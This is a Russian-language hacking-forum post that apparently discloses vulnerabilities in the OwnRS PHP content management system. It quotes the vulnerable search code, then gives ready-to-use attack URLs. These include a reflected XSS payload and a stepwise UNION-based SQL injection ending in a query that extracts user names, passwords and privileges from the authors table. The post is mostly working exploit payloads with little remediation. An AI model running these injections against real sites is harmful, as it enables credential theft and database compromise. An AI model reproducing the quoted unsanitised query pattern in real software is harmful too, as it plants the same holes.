Показать сообщение отдельно

  #6  
Старый 10.01.2010, 16:34
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
С нами: 9285506

Репутация: 1463
По умолчанию

OwnRS
http://sourceforge.net/projects/ownrs/

index.php
PHP код:
$hledany_vyraz $_GET["hledej"];
...
if(
$hledany_vyraz!="")
    
$pocet=MySQL_Query("SELECT count(id) FROM ".$db_prefix."clanky WHERE (nepublikovat = 0) AND (datum<now()) AND MATCH(nadpis) AGAINST('$hledany_vyraz')
OR MATCH(popis) AGAINST('
$hledany_vyraz')
OR MATCH(clanek) AGAINST('
$hledany_vyraz')
ORDER BY (10 * MATCH(nadpis) AGAINST('
$hledany_vyraz')
+ MATCH(popis) AGAINST('
$hledany_vyraz')
+ MATCH(clanek) AGAINST ('
$hledany_vyraz'))");

...
if(
$hledany_vyraz!=""){
    
$vysledek=mysql_query("SELECT *, DATE_FORMAT(`datum`, '%d.%m.%Y') AS `casformat` from ".$db_prefix."clanky  WHERE (nepublikovat = 0) AND (datum<now()) AND (datum<now()) AND MATCH(nadpis) AGAINST('$hledany_vyraz')
OR MATCH(popis) AGAINST('
$hledany_vyraz')
OR MATCH(clanek) AGAINST('
$hledany_vyraz')
ORDER BY (10 * MATCH(nadpis) AGAINST('
$hledany_vyraz')
+ MATCH(popis) AGAINST('
$hledany_vyraz')
+ MATCH(clanek) AGAINST ('
$hledany_vyraz')) LIMIT $strana$max") or die ("Chyba pшi prбci s databбzн");


    
$Obsah '<h1>Vyhledбvбnн vэrazu '.$hledany_vyraz.'</h1>
    <strong> Pro vэraz '
.$hledany_vyraz.' nalezeny tyto zбznamy: </strong><br />';
    
$TitleWebu 'Vyhledбvбnн vэrazu '.$hledany_vyraz.' - '.$TitleWebu;
}
$x=0;
//Sosбm data z databбze
while ($zaznam=MySQL_Fetch_Array($vysledek)) {
        
$zobrazeni $zaznam['hint'];
        
$nadpis_bez_diakritiky seourl($zaznam['nadpis']);
        
//Jakou verzi odkazщ vybrat?
        
if($pekna_url != 0){
        
$odkaz $zaznam["id"].'-'.$nadpis_bez_diakritiky.'.html';
        }else{
        
$odkaz 'clanek.php?id='.$zaznam["id"].'-'.$nadpis_bez_diakritiky;
        }
        
$id2 $zaznam['kategorie'];
        
$casformat $zaznam["casformat"];
        
$autor $zaznam['autor'];
        
$jmeno_autoramysql_query("SELECT nick FROM ".$db_prefix."autori WHERE id = '".$autor."'");
        while(
$zaznam_autor mysql_fetch_array($jmeno_autora)){
        
$nazev_autora $zaznam_autor['nick'];
        
//poинtбnн poиtu komentбшщ a nбslednэ vэpis slova v rщznйm pбdм podle poиtu
        
$dotaz "SELECT count(id) AS pocet FROM  ".$db_prefix."komentare  WHERE idclanku ='".$zaznam["id"]."'"
        if(
$v mysql_query($dotaz)) {
              
$r mysql_fetch_assoc($v);
              
$komentare=$r["pocet"];
        }else{echo 
"Chyba pшi prбci s databбzн";}
        
        if(
$komentare!=0){
            if(
$komentare<2)
                
$komentare_vypis '<a href="'.$odkaz.'#komentare">1 komentбш</a>';
            else if((
$komentare<5)&&($komentare>1))
                
$komentare_vypis '<a href="'.$odkaz.'#komentare">'.$komentare.' komentбшe</a>';
            else if(
$komentare>4)
                
$komentare_vypis '<a href="'.$odkaz.'#komentare">'.$komentare.' komentбшщ</a>';
        }else
            
$komentare_vypis '<a href="'.$odkaz.'#komentare">Rбdnэ komentбш</a>';

//Zji№>ovбnн nбzvu kategorie a pшezdнvky autora
        
$nazev_kategorie mysql_query("SELECT nazev FROM ".$db_prefix."kategorie WHERE id = '".$id2."'");
        while (
$udaj mysql_fetch_array($nazev_kategorie)) 
            
$jmeno_kategorie $udaj['nazev']; 
уязвим параметр $hledany_vyraz = $_GET["hledej"];

Passive XSS
http://localhost/Own_rs/index.php?hledej=1%3Cscript%3Ealert(121212)%3C/script%3E

SQL
mq=off

http://localhost/Own_rs/index.php?hledej=')+union+select+11,12,13,14,15,16 ,17,18,19,110,111,112;%00+--+

Запрос $vysledek=mysql_query("SELECT *, DATE_FORMAT(`datum`, '%d.%m.%Y') AS `casformat ...
записан в несколько строк, поэтому комментарии вида +--+ дают ошибку,
ставим более жесткий терминатор ;%00+--+.

Сработал $vysledek=mysql_query("SELECT ...
но это Blind SQL, попробуем получить вывод.

$autor = $zaznam['autor'];
$jmeno_autora= mysql_query("SELECT nick FROM ".$db_prefix."autori WHERE id = '".$autor."'");

$zaznam['autor'] берется из запроса $vysledek (поле с числом 17), сформируем иньекцию.

http://localhost/Own_rs/index.php?hledej=')+union+select+11,12,13,14,15,16 ,%2217'+or+1=1+limit+0,1+--+%22,18,19,110,111,112;%00+--+

появился вывод в полях 12, 13, 112

http://localhost/Own_rs/index.php?hledej=')+union+select+11,version(),conc at_ws(0x203a20,jmeno,heslo,prava),14,15,16,%2217'+ or+1=1+limit+0,1+--+%22,18,19,110,111,database()+from+ownrs_autori;%0 0+--+
 
Ответить с цитированием